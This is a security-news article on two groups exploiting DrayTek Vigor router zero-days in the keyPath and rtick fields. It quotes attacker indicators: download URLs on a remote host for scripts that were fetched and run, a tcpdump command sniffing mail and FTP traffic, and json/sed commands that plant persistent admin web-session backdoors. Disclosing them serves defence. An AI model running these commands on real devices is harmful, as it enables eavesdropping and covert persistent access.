Friday, February 7, 2025
HomeZero-DayHackers Exploiting Two 0-Day Bugs in DrayTek Routers & Create A Backdoor...

Hackers Exploiting Two 0-Day Bugs in DrayTek Routers & Create A Backdoor in Enterprise Networks

Published on

SIEM as a Service

Follow Us on Google News

Researchers observed two new hackers groups abusing two DrayTek Routers’ zero-day vulnerabilities to exploit the enterprise network routers and perform a series of attacks.

Recently we have reported a similar attack in which hackers hijack Home Routers & Change The DNS Settings to implant malware via a malicious website.

This is another new wave of attack where attackers using zero-day bugs to perform attacks including eavesdropping on device’s network traffic, running SSH services on high ports, creating system backdoor accounts, and implanting specific malicious Web Session backdoor.

The ongoing zero-day attack was initially disclosed on December 25, 2019, with an indicator of compromise (IOC), and it is highly weaponized in nature.

Both are remote command execution vulnerabilities and the first one affected the keyPath field that used to specify the file suffix of the RSA private key to initiate a login request in the router.

Another RCE Vulnerability in rtick makes command injection possible when the formCaptcha(), a function that used in CAPTCHA image does not check the incoming timestamp from rtick.

According to netlab 360 reports, “The two 0-day vulnerability command injection points are keyPath and rtick, located in the /www/cgi-bin/mainfunction.cgi, and the corresponding Web Server program is /usr/sbin/lighttpd.”

Hackers Group 0-Day Attack Activities

A first attacker group using the keyPath  RCE vulnerability to download and execute the script ( http://103.82.143.51:58172/vig/tcpst1).

Later it downloads another following script,

http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1

In this case, attackers using the script ” /etc/mailsend.sh “ to eavesdrop on all network interfaces where the DrayTek Vigor network deployed and listen on the ports 21, 25, 143, and 110.

During the attacks, actors are running the following tcpdump command that running in the background.

 /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap  

Another group of an attacker using the rtick command injection vulnerability to create 2 sets of Web Session backdoors that let DrayTek Vigor network device never logs out unless the device is rebooted.

Later they create an SSH backdoor on TCP / 22335 and TCP / 32459

json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""\""0\""""/""0""/g /var/session.json | sed -i s/""\""7\""""/""7""/g /var/session.json

DrayTek fixed this bug on February 10, 2020, and issued a security update and released the latest firmware program 1.5.1.

You can share your thoughts about the article via  Twitter,  Facebook and Linkedin page also get the Daily cyber security & hacking news updates.

Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Latest articles

Former Google Engineer Charged for Allegedly Stealing AI Secrets for China

A federal grand jury has indicted Linwei Ding, also known as Leon Ding, a...

Dell Update Manager Plugin Flaw Exposes Sensitive Data

Dell Technologies has issued a security advisory (DSA-2025-047) to address a vulnerability in the Dell Update...

DeepSeek iOS App Leaks Data to ByteDance Servers Without Encryption

DeepSeek iOS app—a highly popular AI assistant recently crowned as the top iOS app...

Critical Flaws in HPE Aruba ClearPass Expose Systems to Arbitrary Code Execution

Hewlett Packard Enterprise (HPE) has issued a high-priority security bulletin addressing multiple vulnerabilities in...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

XE Hacker Group Exploiting Veracode 0-Day’s to Deploy Malware & Steal Credit Card Details

The XE Group, a sophisticated Vietnamese-origin cybercrime organization active since 2013, has escalated its...

MobSF Framework Zero-Day Vulnerability Allows Attackers to Trigger DoS in Scan Results

A recently discovered zero-day vulnerability in the Mobile Security Framework (MobSF) has raised alarms...

Zero-Day Vulnerabilities in Microsoft Sysinternals Tools Enable DLL Injection Attacks on Windows

A significant zero-day vulnerability has been uncovered in Microsoft Sysinternals tools, posing a severe...